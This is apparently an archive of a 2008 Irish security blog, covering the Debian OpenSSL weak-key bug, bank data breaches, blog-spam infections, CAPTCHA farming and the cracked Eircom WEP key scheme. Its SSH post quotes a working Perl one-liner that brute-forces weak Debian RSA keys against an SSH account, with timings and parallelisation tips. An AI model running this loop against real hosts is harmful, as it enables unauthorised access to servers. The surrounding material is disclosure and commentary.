Eircom’s “DDOS”, or not

I woke up this morning to hear speculation on RTE Radio as to how Eircom’s DDOS woes were possibly being caused by the Russian mob, of all things. This absurd speculation is not helped by lines in statements like this:

‘The company blamed the problems on “an unusual and irregular volume of internet traffic” directed at its website, which affected the systems and servers that provide access to the internet for its customers.’

I’m speculating, too, but it seems a lot more likely to me that this isn’t just a DDOS, and someone — possibly just a lone Irish teenager — is running an attempted DNS cache-poisoning attack. Here’s why.

Last week, there were two features of the attack in reports: DDOS levels of traffic and incorrect pages coming up for some popular websites. To operate a Kaminsky DNS cache-poisoning attack requires buckets of packets — easily perceivable as DDOS levels. This level of traffic would be the first noticeable symptom on Eircom’s network management consoles, so it’d be easy to jump to the conclusion that a simple DDOS attack was the root cause.

This week, there’s just the DDOS levels of traffic. No cache poisoning effects have been reported. This would be consistent with Eircom’s engineers getting the finger out over the weekend, and upgrading the NSes to a non-vulnerable version. ;)

Once the attacker(s) realise this, they’ll probably stop the attack.

It’s not even a good attack for a bad guy to make, by the way. Given the timing, right after major press about a North Korean DDOS on US servers. it’s extremely high-profile, and made the news in several national newspapers (albeit in rather inept fashion). If someone wanted to make money from an attack, a massive-scale packet flood indistinguishable from a DDOS against the nation’s largest ISP is not exactly a subtle way to do it.

In the meantime, apparently OpenDNS have really seen the effects, with mass switchover of Eircom’s customers to the OpenDNS resolvers. Probably just as well…

Tags: , , , , ,

Comments (11)

Irish user-data leak trifecta

The same friend who was victim to the BoI user-data leak last year has also fallen victim to the Bord Gais leak! how’s that for luck. Here’s the letter he received:

Page 1

At least they make much more convincing worried noises.

Tags: , , , ,

Comments (1)

Google.ie HTTPS fail

Check out what happens when you visit https://www.google.ie/ :

Clicking through Firefox’s ridiculous hoops gets me these dialogs:

Good work, Google and Firefox respectively!

Tags: , , , , , , , ,

Comments (3)

IBM’s ZTIC

IBM Zone Trusted Information Channel (ZTIC) — ‘a banking server’s display on your keychain’.

IBM has introduced the Zone Trusted Information Channel (ZTIC), a hardware device that can counter [malware attacks on online banking] in an easy-to-use way. The ZTIC is a USB-attached device containing a display and minimal I/O capabilities that runs the full TLS/SSL protocol, thus entirely bypassing the PC’s software for all security functionality.

The ZTIC achieves this by registering itself as a USB Mass Storage Device (thus requiring no driver installation) and starting a “pass-through” proxy configured to connect with pre-configured (banking) Websites. After starting the ZTIC proxy, the user opens a Web browser to establish a connection with the bank’s Website via the ZTIC. From that moment on, all data transmitted between browser and server pass through the ZTIC; the SSL session is protected by keys maintained only on the ZTIC and, hence, is inaccessible to malware on the PC [...].

In addition, all critical transaction information, such as target account numbers, is automatically detected in the data stream between browser and ZTIC. This critical information is then displayed on the ZTIC for explicit user confirmation: Only after pressing the “OK” button does the TLS/SSL connection continue. If any malware on the PC has inserted incorrect transaction data into the browser, it can be easily detected by the user at this moment.

This seems like quite a nice implementation, I think.

However, key management will be problematic. Each server’s public key will need to be stored on the ZTIC, and not be writable/modifiable by the possibly-infected PC, otherwise the “bad guys” could simply insert a cert for a malware proxy server on the PC and perform a man-in-the-middle attack on the TLS session. But for that to be viable, the SSL certs need to change very infrequently, or some new secure procedure to update the certs from a “safe” machine needs to be put in place. Tricky….

Tags: , , , , , , ,

Comments (5)

Links for 2008-10-09

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments

Links for 2008-10-08

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments

Links for 2008-10-06

Tags: , , , , , , , , , , , , , , , , , , , , , , ,

Comments

Links for 2008-10-02

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments

Links for 2008-10-01

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments (3)

Links for 2008-09-18

Tags: , , , , , , , , , , , , , , ,

Comments (2)

Links for 2008-09-11

Tags: , , , , , , , , , , , , , , , , , , , , ,

Comments

Links for 2008-08-14

Tags: , , , , , , , , , , , , , , , , , , , , , , , ,

Comments

Links for 2008-08-13

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments (1)

Links for 2008-08-12

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments

VodaFAIL

A friend writes:

‘I switched my Vodafone bill to “online”, to cut down on junk mail. When I tried to log in to view my bill, I was asked for a second level password, specifically:

“your password is the last 4 digits of your customer number (which appears at the top of your phone bill). “

So, I can’t see my phone bill because I can’t see my phone bill.’

FAIL

Tags: , , , , , ,

Comments

Links for 2008-08-09

Tags: , , , , ,

Comments

Links for 2008-08-07

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments (1)

Links for 2008-07-21

O2 Leaking Customer Photos (updated) the JBoss/Tomcat install leaks the “secret” URLs through it’s default status page. this is the 3rd helping of FAIL for O2’s web team; 2 previous occasions in the last year exposed customer data through “secret” URL manipulation

Avant Window Navigator “a ‘dock-like’ (cough) navigator bar for the Linux desktop” (via Danny, again!)

trickle ‘user-space bandwidth shaper’, ie. like nice(1) for network bandwidth (via Danny)

RFC 5218 – What Makes For a Successful Protocol? ‘Based on case studies, this document identifies some of the factors influencing success and failure of protocol designs.’ (via spicylinks)

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Comments

LWN.net on the Debian OpenSSL fiasco

Great article from LWN.net regarding the Debian OpenSSL vulnerability:

It is in the best interests of everyone, distributions, projects, and users, for changes made downstream to make their way back upstream. In order for that to work, there must be a commitment by downstream entities — typically distributions, but sometimes users — to push their changes upstream. By the same token, projects must actively encourage that kind of activity by helping patch proposals and proposers along. First and foremost, of course, it must be absolutely clear where such communications should take place.

Another recently reported security vulnerability also came about because of a lack of cooperation between the project and distributions. It is vital, especially for core system security packages like OpenSSH and OpenSSL, that upstream and downstream work very closely together. Any changes made in these packages need to be scrutinized carefully by the project team before being released as part of a distribution’s package. It is one thing to let some kind of ill-advised patch be made to a game or even an office application package that many use; SSH and SSL form the basis for many of the tools used to protect systems from attackers, so they need to be held to a higher standard.

+1.

Tags: , , , , ,

Comments

The viability of remote SSH key cracking

Here’s some pretty scary figures from Craig Hughes on the viability of an SSH worm:

when doing this, connecting to localhost:

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a testuser@localhost'"'"'); system("ssh-add -D"); $keys = ""; }'

4.63user 3.06system 0:19.54elapsed

ie about 50 per second

when connecting remotely over the internet (ping RTT is ~60ms):

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a testuser@example.com'"'"'); system("ssh-add -D"); $keys = ""; }'

1.10user 0.60system 0:35.15elapsed

ie about 6 per second over the internet.

Logging of the failures on the server side looks like this:

May 15 10:53:31 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50445;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:32 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50446;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:33 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50447;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:34 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50448;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:35 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50451;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:36 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50452;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:37 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50453;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:39 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50455;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:40 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50456;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:41 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50457;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:42 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50458;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:43 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50459;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1

ie it shows the connection attempt, but NOT the failure. It shows one connection attempt per 7 keys attempted.

So given that:

  1. RSA is the default if you don’t specify for ssh-keygen
  2. 99.99% of people use x86
  3. PID is sequential, and there’s almost certainly an uneven distribution in PIDs used by the keys out there in the wild

then:

Probably there’s about 10k RSA keys which are in some very large fraction of the (debian-generated) authorized_keys files out there. These can be attempted in about 1/2 an hour, remotely over the internet. You can hit the full 32k range of RSA keys in an hour and a half. Note that the time(1) output shows how little load this puts on the client machine — you could easily run against lots of target hosts in parallel; most of the time is spent waiting for TCP roundtrip latencies. Actually, given that, you could probably accelerate the attack substantially by parallelizing the attempts to an individual host so you have lots of packets in flight at any given time. You could probably easily get up towards the 50/s local number doing this, which brings time down to about 3-4 minutes for 10k keys, or 11 minutes for the full 32k keys.

Tags: , , , ,

Comments (4)

Serious Debian/Ubuntu openssl/openssh bug found

via Reddit, this Debian Security announcement:

‘Luciano Bello discovered that the random number generator in Debian’s openssl package is predictable. This is caused by an incorrect Debian-specific change to the openssl package (CVE-2008-0166). As a result, cryptographic key material may be guessable.

It is strongly recommended that all cryptographic key material which has been generated by OpenSSL versions starting with 0.9.8c-1 on Debian systems (ie since 2006! –jm) is recreated from scratch. Furthermore, all DSA keys ever used on affected Debian systems for signing or authentication purposes should be considered compromised; the Digital Signature Algorithm relies on a secret random value used during signature generation.’

and, of course, here’s the Ubuntu Security Notice for the hole:

Who is affected

Systems which are running any of the following releases:

  • Ubuntu 7.04 (Feisty)
  • Ubuntu 7.10 (Gutsy)
  • Ubuntu 8.04 LTS (Hardy)
  • Ubuntu “Intrepid Ibex” (development): libssl <= 0.9.8g-8
  • Debian 4.0 (etch) (see corresponding Debian security advisory)

and have openssh-server installed or have been used to create an OpenSSH key or X.509 (SSL) certificate. All OpenSSH and X.509 keys generated on such systems must be considered untrustworthy, regardless of the system on which they are used, even after the update has been applied. This includes the automatically generated host keys used by OpenSSH, which are the basis for its server spoofing and man-in-the-middle protection.

It was apparently caused by this incorrect “fix” applied by the Debian maintainers to their package. One wonders why that fix never made it upstream.

Bad news….

Update: Ben Laurie tears into Debian for this:

What can we learn from this? Firstly, vendors should not be fixing problems (or, really, anything) in open source packages by patching them locally - they should contribute their patches upstream to the package maintainers. Had Debian done this in this case, we (the OpenSSL Team) would have fallen about laughing, and once we had got our breath back, told them what a terrible idea this was. But no, it seems that every vendor wants to “add value” by getting in between the user of the software and its author.

+1!

For what it’s worth, we in Apache SpamAssassin work closely with our Debian packaging team, tracking the debbugs traffic for the spamassassin package, and one of the Debian packagers is even on the SpamAssassin PMC. So that’s one way to reduce the risk of upstream-vs-package fork bugs like this, since we’d have spotted that change going in, and nixed it before it caused this failure.

Here’s a question: should the OpenSSL dev team have monitored the bug traffic for Debian and the other packagers? Do upstream developers have a duty to monitor downstream changes too?

This comment puts it a little strongly, but is generally on the money in this regard:

the important part for OpenSSL is to find a way to escape the blame for their fuck-up. They failed to publish the correct contact address for such important questions regarding OpenSSL. Branden (another commenter –jm) noted that the mail address mentioned by Ben is not documented anywhere. It is OpenSSL’s responsibility that they allowed the misuse of openssl-dev for offtopic questions and then silently moving the dev stuff to a secret other list nobody outside OpenSSL knew about.

I’m sure Debian is willing to take their fair share of the blame if OpenSSL finally admits that their mistake played a major role here as well. After all the Debian maintainer might have misrepresented the nature of his plans, but he gave warning signs and said he was unsure. But as it appears now all the people who might have noticed secretly left openssl-dev, the documented place for that kind of questions. This is hardly the fault of the maintainer.

Update 2: this Reddit comment explains the hole in good detail:

Valgrind was warning about unitialized data in the buffer passed into ssleay_rand_bytes, which was causing all kinds of problems using Valgrind. Now, instead of just fixing that one use, for some reason, the Debian maintainers decided to also comment out the entropy mixed in from the buffer passed into ssleay_rand_add. This is the very data that is supposed to be used to see the random number generator; this is the actual data that is being used to provide real randomness as a seed for the pseudo-random number generator. This means that pretty much all data generated by the random number generator from that point forward is trivially predictable. I have no idea why this line was commented out; perhaps someone, somewhere, was calling it with uninitialized data, though all of the uses I’ve found were with initialized data taken from an appropriate entropy pool.

So, any data generated by the pseudo-random number generator since this patch should be considered suspect. This includes any private keys generated using OpenSSH on affected Debian systems. It also includes the symmetric keys that are actually used for the bulk of the encryption.

A pretty major fuck-up, all told.

Update 3: Here’s a how-to page on wiki.debian.org put together by the folks from the #debian IRC channel. It has how-to information on testing your keys for vulnerability using a script called ‘dowkd.pl’, details of exactly what packages and keys are vulnerable, and instructions on how to regenerate keys in each of the (many) affected apps.

It notes this about Apache2 SSL keys:

According to folks in #debian-security, if you have generated an SSL key (normally the step just prior to generating the CSR, and then sending it off to your SSL certificate provider), then the certificate should be considered vulnerable.

So, bad news — SSL keys will need to be regenerated. Add ‘costly’ to the list of downsides. (Yet another update: this hasn’t turned out quite that badly after all — many CAs are now offering free reissuance of affected certs.)

Looking at ‘dowkd.pl’, it gets even worse for ssh users. It appears the OpenSSH packages on affected Debian systems could only generate 1 of only 262148 distinct keypairs. Obviously, this is trivial to brute-force. With a little precomputation (which would only take 14 hours on a single desktop!), an attacker can generate all of those keypairs, and write a pretty competent SSH worm. :(

Update: voila, precomputed keypairs, and figures on the viability of remote brute-forcing the keyspace in 11 minutes.

Tags: , , , , , ,

Comments (22)

BoI data breach: a sample customer notification

More on the Bank of Ireland 30,000-customer data breach (which is up to 31,500 people by now — BoI promised to contact the “affected” customers by post, warning them that their data had been leaked. If you were wondering what those letters might look like, wonder no more. Here’s one, via a friend who found himself in this unenviable position:

So it’s not just name, date of birth, and address — he notes that they’ve leaked ‘information on the current account I use to pay for the policy.’

Interestingly, he says that his life assurance policy was set up directly with their life assurance department, not via the local branch — which directly contradicts what BoI say on their website:

The laptops contained information relating to some customers who either obtained a quote or took out a Life Assurance policy with Bank of Ireland Life from the following branches: [... list of branches omitted...]

The update from 28 April doesn’t clarify this, either. Hmm.

Tags: , , , , , , ,

Comments (1)

Bank of Ireland’s 10,000-customer security breach

Bank of Ireland, one of Ireland’s biggest high-street banks, was the subject of a breach notification yesterday — 4 laptops, containing unencrypted “sensitive personal information” about up to 10,000 customers, were stolen between June and October 2007. It seems the Irish Data Protection Commissioner was not informed until last Friday. The Financial Regulator is also looking into the incidents.

According to the Independent, the laptops ‘were being used by staff working for Bank of Ireland’s life assurance division. They contained the information about medical history, life assurance details, bank account details, names and addresses.’

This breach has raised quite a few issues.

First off, I was watching Questions and Answers last night, and was shocked by the naivete of the assembled panel. One panelist, for example, reckoned that common criminals wouldn’t understand the value of this data — so it was probably nothing to worry about!

There was absolutely no concept of how widespread identity theft has become — using stolen identity information to apply for credit cards is part of Petty Theft 101 these days, since filling out forms is a lot easier than breaking and entering, obviously. There was also no appreciation of how little protection Irish consumers have in this regard with current Irish banking T&Cs.

According to previous research, about 2% of accounts compromised in data breaches become victim to identity theft.

Some comments from the bank from those articles:

‘The data was not encrypted, although it is understood there was software security installed on the stolen computers.’

Doubtless, “software security” refers to some kind of useless Maginot Line boondoggle like Norton Internet Security. This would have absolutely no useful effect in this case. The only useful way to protect customer data on a stolen laptop is to use encrypted storage.

‘In the interim the bank has monitored all of these customer accounts and can confirm that there has been no evidence of fraudulent or suspicious activity.’

This is a fallacy. This data provides plenty of information regarding the customer’s identity — information which is useful to receive loans and credit fraudulently, elsewhere. Monitoring the bank’s accounts is of no help in that case. On top of that, identity information like your date of birth, mother’s maiden name, health status, and so on doesn’t expire — that info will still be useful for identity theft, 10 years from now, or as a stepping-stone to further fraud.

As John O’Shea noted on Twitter earlier, there was nothing on their website about it this morning; there is now, however — a broken link on the front page. oops!

Figuring out the puzzle and fixing the URL’s errors gets you to this page, which notes:

The laptops contained information relating to some customers who either obtained a quote or took out a Life Assurance policy with Bank of Ireland Life from the following branches:

  • Drogheda
  • Dunleer
  • Bagnelstown
  • Court Place Carlow
  • Stephens Green
  • Tallaght
  • Montrose

Anybody who is not a customer of these branches is not affected by this incident.

As far as I can make out, the bank didn’t issue this breach notification. It appears from the coverage that this information was first announced by Data Protection Commissioner Billy Hawkes to RTE yesterday, leaving the bank apparently scrambling to catch up:

“The thefts of the laptops were only brought to the attention of the appropriate authorities in the bank in the past number of weeks,” Bank of Ireland said in a statement that offered no other explanation for the long delay.

It would have been so much better if BoI had been proactive with breach notification — examples from overseas have illustrated its value. As Adam Shostack has noted repeatedly over the past few years: the rules have changed.

As for repercussions for BoI, it’ll be interesting to see if anything happens. For “live” customer data on up to 10,000 customers to be stored, in unencrypted form, on a laptop is terrible security practice — but as far as I know, there are no laws or regulations requiring anything better in Ireland, unfortunately. :( However:

Consideration will be given as to what further action will be sought from Bank of Ireland to ensure that the obligations contained in the Data Protection Acts in this area are met.

On a broader level, this issue serves to highlight once again the absolute necessity for all organisations in the public and private sector to take their data protection responsibilities seriously. In particular, all organisations should be assessing immediately the necessity for storing personal data on laptops. If a need is found, appropriate security measures such as encryption should be put in place immediately.

Go Billy! ;)

Tags: , , , , , , , ,

Comments (3)

Liability for internet banking fraud in Ireland

Steven Murdoch at Light Blue Touchpaper notes that the UK banking code now includes wording to make the customer liable for losses attributable to them “acting without reasonable care”, where “reasonable care” bizarrely includes installing anti-virus software on their PCs.

The Register also picked up on this, as did Brian Krebs in the Washington Post, comparing it with the vastly superior customer protection offered by the US banks.

I was curious, so I went looking at the Irish situation. Needless to say, it’s not pretty.

I couldn’t find anything in the Irish Banking Federation’s Code Of Practice for Personal Customers, unfortunately. However, AIB’s terms and conditions for use of their Internet Banking product contain this:

5 Transactions on the Account:

5.1 The User authorises AIB to act upon any instruction to debit an Account received through AIB Phone & Internet Banking which has been transmitted using all or part of the Registration Number, PAC and/or any other authentication process which AIB may require to be used in connection with AIB Phone & Internet Banking (including but not limited to a Code Card) without requiring AIB to make any further authentication or enquiry, and all such debits shall constitute a liability of the User. Where the User’s Account is maintained in joint names the liability of the Account Holders shall be joint and several.

5.6 Entries in an Account in respect of Bill Payments, Fund Transfers and Top-Ups shall be prima facie evidence that the transfer or debit represented thereby has been duly authorised and shall be binding on AIB and the User unless and until proved to the contrary.

6 International Payments:

6.9 To the extent permitted by law, and notwithstanding anything to the contrary herein, AIB shall not be liable for, and shall be indemnified in full by the User against, any loss, damage or other liability that the User or AIB may suffer arising out of or in connection with the User’s use of the International Payment services (whether as the sender or receiver of an International Payment) unless such loss, damage or liability is caused by AIB’s fraud, wilful default or negligence. In no circumstances will AIB be liable for any increased costs or expenses, or for any loss of profit, business, contracts, revenues or anticipated savings or for any special, indirect or consequential damage of any nature whatever.

As far as I can tell, basically the AIB have no liability here at all — if a bad guy gets hold of your PIN code and account number, and empties your account, tough luck.

What about Bank of Ireland? It seems they agreed to refund phishing losses in an incident back in 2006. But their 365online Terms and Conditions now say this:

13 Indemnity

13.2 Without prejudice to the generality of Clause 13.1 above, the Bank shall have no liability whatsoever in respect of any loss suffered by the Customer as a result of their breach of Clause 4 [jm: Security/Authentication] by way of knowingly, negligently or recklessly disclosing the Security Devices or any of them.

So it’s all pretty bad news for Irish banking customers. This is pretty bad news — it’s only a matter of time before Irish banks are targeted by a new Banking Trojan, and given that antivirus software has an 80% miss rate these days, even having an up-to-date AV scanner isn’t going to be much help.

My answer? Don’t do internet banking on Windows machines. Simple as that.

Tags: , , , , ,

Comments (3)

IIA’s nasty infection

The Irish Internet Association have a weblog at blog.iia.ie. Back on January 30, this had a Technorati rank of 587893, with 21 inbound links from 14 blogs. That’s about what you’d expect — comparable with Chris Horn’s blog, for instance.

However, fast forward to today, and in the intervening 3 months, it seems to have suddenly shot up to 23,322 inbound links from 550 blogs, giving it a Technorati rank of 6,870.

To put that in perspective, that puts it comfortably in the top 3 in the Irish Blogs Technorati Top 100 — beating Damien Mulley’s 7,859, but just short of Donncha O’Caoimh’s stellar 3,434 — and ahead of these other gods of the Irish blogosphere:

Pretty impressive ;)

I was curious, so I went investigating. Of those thousands of inbound links, here’s some samples of the most recent, pasted from the Technorati inbound links page:

barkingmoose

Atacand Free instant online credit report Application credit card Cheap Paxil Does your credit score Household bank credit card application Apr for credit cards Buy Cephalexin? Aciphex Cheap Feldene Zovirax Risperdal Buy Naprosyn, Propecia Credit score codes Poor credit score, Propecia Uk Canada credit card online application Motrin Business credit score Cheap Cialis Jelly 50 Cent Free Ringtones Celexa How to improve my credit score Buy Inderal

4 days ago in barkingmoose by barkingmoose · Authority: 3

The Peninsula’s Edge

Jc penny credit card application Credit cards 1.99 apr ny Affect credit score For credit score American express credit card application Freee credit report Instant fleet 0 apr credit card application? Hydrocodone For low credit scores, No credit instant approval credit cards Annual creditreport.com, Tramadol Credit reporting service Configuration VPN Cheap credit reports. Buy Premarin Carisoprodol Soma Propecia Generic

6 days ago in The Peninsula’s Edge by ricsmith510 · Authority: 9

The Incredible Blog

Prepaid credit card uk Phentrimine Cheap Zovirax: Calan Highest credit score Ambien Valtrex: Ultram 3 credit reporting agencies Credit cards online application Instant approval student credit cards, Apr balance transfer credit cards Free government credit report Transunion free credit report Credit card debt bankruptcy? Propecia Propecia Uk! Correcting credit reports Cialis Uk Credit rating report Buy Synthroid Instant capital one 0 interest credit card application

7 days ago in The Incredible Blog · Authority: 1

Quilters’ Blogs

Annualcreditreport Instantly instant free online credit report Credit cards instant approval Guaranteed instant approval credit cards Lexapro Get my credit score, Card consolidation credit debt financial internet Chevron credit card services. Risperdal Lower credit card debt VPN connection One credit card application Xanax Viagra! Vasotec Diazepam Fix my credit report Credit report bureau. Cialis Soft Tabs! Ativan? Secured loans to increase credit score Cheap Amaryl Cheap Prednisone Alprazolam! Cheap 7 days ago in Quilters’ Blogs · Authority: 5

TPN :: Martial Arts Explorer

Luvox Credit score of Plavix 50 Cent Free Ringtones, Cheap Elavil? Free consumer credit report: Famvir Improve credit score fast Phentermine Online Zovirax Cialis Soft Tabs Apr for credit cards! Ultram Zoloft Credit card deal 0 Deltasone! VPN: Cheap Cardura Credit score rankings! Annual credit report .com Interest rate credit score: Carisoprodol Flagyl ER Online Cialis Soft Tabs Enable VPN 0 apr credit card application Free business credit report Ambien Low 7 days ago in TPN :: Martial Arts Explorer · Authority: 56

Take a look at the ‘inbound links’ list — thousands more just like that.

All of the affected blogs have been hacked to deliver these spam links. They run unpatched versions of Wordpress vulnerable to a major security hole. On a casual visit, their pages seem fine — but “View Source”, scroll to the bottom, and there are thousands of spam links for drugs, ringtones, cheap credit, etc. on each one, exactly as above, and as described by Kevin Burton in his description of the current epidemic of blog spam.

How did links to the IIA’s blog wind up in this collection?

It’s worth noting that the IIA’s blog does not display the same symptoms — the links aren’t present on their pages.

However, this post provided a good tip as to what has happened. Those infected blog pages point, in turn, to other infected blogs. Somewhere within the IIA’s blog setup, there’s a page inserted by a bad guy, collecting thousands of illicit links from thousands of other infected sites — and sure enough, Irish Web Watcher found it on the IIA’s site — here it is.

Looks like the IIA have a pretty major disinfection job on their hands, and urgently — there’s already a lot of spammy results appearing in the Google index from that site, and the next step after that is usually removal from the index once Google notice it.

Tags: , , , , ,

Comments (6)

Google’s CAPTCHA – not entirely broken after all?

A couple of weeks ago, WebSense posted this article with details of a spammer’s attack on Google’s CAPTCHA puzzle, using web services running on two centralized servers:

[...] It is observed that two separate hosts active on same domain are contacted during the entire process. These two hosts work collaboratively during the CAPTCHA break process. [...]

Why [use 2 hosts]? Because of variations included in the Google CAPTCHA image, chances are that host 1 may fail breaking the code. Hence, the spammers have a backup or second CAPTCHA-learning host 2 that tries to learn and break the CAPTCHA code. However, it is possible that spammers also use these two hosts to check the efficiency and accuracy of both hosts involved in breaking one CAPTCHA code at a time, with the ultimate goal of having a successful CAPTCHA breaking process.

To be specific, host 1 has a similar concept that was used to attack Live mail CAPTCHA. This involved extracting an image from a victim’s machine in the form of a bitmap file, bearing BM.. file headers and breaking the code. Host 2 uses an entirely different concept wherein the CAPTCHA image is broken into segments and then sent as a portable image / graphic file bearing PV..X file headers as requests. [...]

While it doesn’t say as such, some have read the post to mean that Google’s CAPTCHA has been solved algorithmically. I’m pretty sure this isn’t the case. Here’s why.

Firstly, the FAQ text that appears on “host 1″ (thanks Alex for the improved translation!):

img

FAQ

If you cannot recognize the image or if it doesn’t load (a black or empty image gets displayed), just press Enter.

Whatever happens, do not enter random characters!!!

If there is a delay in loading images, exit from your account, refresh the page, and log in again.

The system was tested in the following browsers: Internet Explorer Mozilla Firefox

Before each payment, recognized images are checked by the admin. We pay only for correctly recognized images!!!

Payment is made once per 24 hours. The minimum payment amount is $3. To request payment, send your request to the admin by ICQ. If the admin is free, your request will be processed within 10-15 minutes, and if he is busy, it will be processed as soon as possible.

If you have any problems (questions), ICQ the admin.

That reads to me a lot like instructions to human “CAPTCHA farmers”, working as a distributed team via a web interface.

Secondly, take a look at the timestamps in this packet trace:

img2

The interesting point is that there’s a 40-second gap between the invocation on “Captcha breaking host 1″ and the invocation on “Captcha breaking host 2″. There is then a short gap of 5 seconds before the invocations occur on the Gmail websites.

Here’s my theory: “host 1″ is a web service gateway, proxying for a farm of human CAPTCHA solvers. “host 2″, however, is an algorithm-driven server, with no humans involved. A human may take 40 seconds to solve a CAPTCHA, but pure code should be a lot speedier.

Interesting to note that they’re running both systems in parallel, on the same data. By doing this, the attackers can

  1. collect training data for a machine-learning algorithm (this is implied by the ‘do not enter random characters!’ warning from the FAQ — they don’t want useless training data)

  2. collect test cases for test-driven development of improvements to the algorithm

  3. measure success/failure rates of their algorithms, “live”, as the attack progresses

Worth noting this, too:

Observation*: On average, only 1 in every 5 CAPTCHA breaking requests are successfully including both algorithms used by the bot, approximating a success rate of 20%. The second algorithm (segmentation) has very poor performance that sometimes totally fails and returns garbage or incorrect answers.

So their algorithm is unreliable, and hasn’t yet caught up with the human farmers. Good news for Google — and for the CAPTCHA farmers of Romania ;)

Update: here’s the NYTimes’ take, with broadly agreeing comments from Brad Taylor of Google. (The Register coverage is off-base, however.)

Tags: , , , , , ,

Comments (5)

‘Blended threat’ = Storm

[Commtouch have apparently released an 'Email Threats Trend Report' for the third quarter of 2007], which contains this factoid:

Blended threat messages — or spam messages with links to malicious URLs — accounted for up to 8% of all global email traffic during the peaks of various attacks during the quarter [...]

Spam with malware hyperlinks inside: One technique which reached a new high during the quarter was innocent-appearing spam messages that contained hyperlinks to malware-sites. This type of spam utilizes vast zombie botnets to launch ‘drive-by downloads’ and evade detection by most anti-virus engines. Several blended spam attacks of this type focused on leisure-time activities, such as sports and video games. Messages invited consumers to download “fun” software such as NFL game-tracking and video games from what appeared to be legitimate websites. Instead, consumers voluntarily downloaded malware onto their computers.

Those short messages that invited downloads of NFL game-tracking software (”Get Your Free NFL Game Tracker”, “Football Fan Essentials”, “Are you ready for football season?” etc.), and video games (”Wow, free games!”, “New game software, with over 1000 games—FREE”, “Holy cow, 1000 free games online” etc.), is all output from the Storm worm — I wouldn’t call it a new kind of “blended threat” per se. I’m surprised that Commtouch didn’t name it; maybe they don’t realise it’s Storm?

I’d say it’s output is higher than 8% of my incoming spam, although it has reduced its spam output quite a bit recently.

Tags: , , , ,

Comments

Eircom WEP key-generation algorithm reversed

Over the weekend, this really hit the Irish blogosphere — several Irish guys have apparently figured out the algorithm used by Eircom to generate WEP keys.

I blogged that page in the link-blog this morning, but it’s worth writing about a little more. WEP is apparently easy to crack nowadays, so in a way all those wifi users were insecure anyway — but this is interesting as a case study of how not to write a key generator:

  • Compiled code != secret: the first mistake Eircom made was to generate the WEP key entirely from a little “secret” text, some “secret” shuffles, and the serial number of the hardware. There should always be some randomness in there. Compiled code running on a user’s desktop, is not secret.

  • Don’t share secrets: Secondly, it’s a good demo of why you don’t generate two separate key values from the same source data. In this case, both the WEP key and the SSID are generated from the Netopia router’s serial number — and sufficient bits are accidentally exposed in the SSID to enable computation of the WEP key. (This is kind of moot in many cases, since the serial number is also exposed in the MAC address, in even more detail.)

As far as I can tell — although it’s not quite clear who did what — that guy Kevin Devine did a pretty great job of reversing this code. Nice one.

I’m impressed that there’s now an app which detects the static tables (S-boxes, constants etc.) used in crypto algorithms — that idea seems very clever in retrospect, hadn’t occurred to me.

Here’s a boards.ie thread where this exploit was discussed; there are plenty more details there, if you’re curious. It seems this has been quietly floating around back-channels since the start of September.

(By the way, am I missing something, or did Eircom ship unstripped binaries for the key generator library? I could swear that when I looked at the Boards thread earlier today, there was a cut-and-paste from IDA Pro listing a function prototype. Oh dear; if so, add that to the ‘case study’ list above. ;)

It seems Eircom are now recommending all customers switch to WPA — good luck with that, since it’ll break all those Nintendo DSes. That won’t be popular!

Update: the original page seems to be down, but here’s the source for the command-line decoder: dessid.c. See also EirWep.

Tags: , , , , , ,

Comments (18)

The Prime Time Group pump-and-dump

Spamnation.info links to an interesting article by Computerworld’s Gregg Keizer about the massive PRTH.PK spam run.

As usual, there are no shortage of suckers:

